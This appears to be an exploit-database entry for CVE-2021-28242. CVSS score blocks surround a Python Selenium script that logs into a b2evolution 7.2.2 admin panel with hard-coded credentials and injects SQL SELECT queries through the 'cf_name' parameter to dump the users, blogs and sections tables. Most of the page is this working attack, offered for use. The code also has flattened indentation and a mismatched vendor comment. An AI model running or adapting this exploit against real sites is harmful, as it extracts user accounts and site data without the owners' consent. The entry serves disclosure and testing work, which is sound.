8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection
# Author: @nu11secur1ty
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso
[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242
from selenium import webdriver
import time
# Vendor: https://typo3.org/
website_link="
http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"
# enter your login username
username="admin"
# enter your login password
password="FvsDq7fmHvWF"
#enter the element for username input field
element_for_username="x"
#enter the element for password input field
element_for_password="q"
#enter the element for submit button
element_for_submit="login_action[login]"
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
#browser = webdriver.Firefox() #uncomment this line,for chrome users
browser.get((website_link))
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()
# Exploit vulnerability MySQL obtain sensitive database information by
injecting SQL commands into the "cf_name" parameter
time.sleep(7)
# Receaving sensitive info for evo_users
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
time.sleep(7)
# Receaving sensitive info for evo_blogs
browser.get(("
http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
time.sleep(7)
# Receaving sensitive info for evo_section
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
time.sleep(7)
browser.close()
print("At the time, of the exploit, you had to see information about the
tables...\n")
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, your exploit is not working for some reasons...")
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P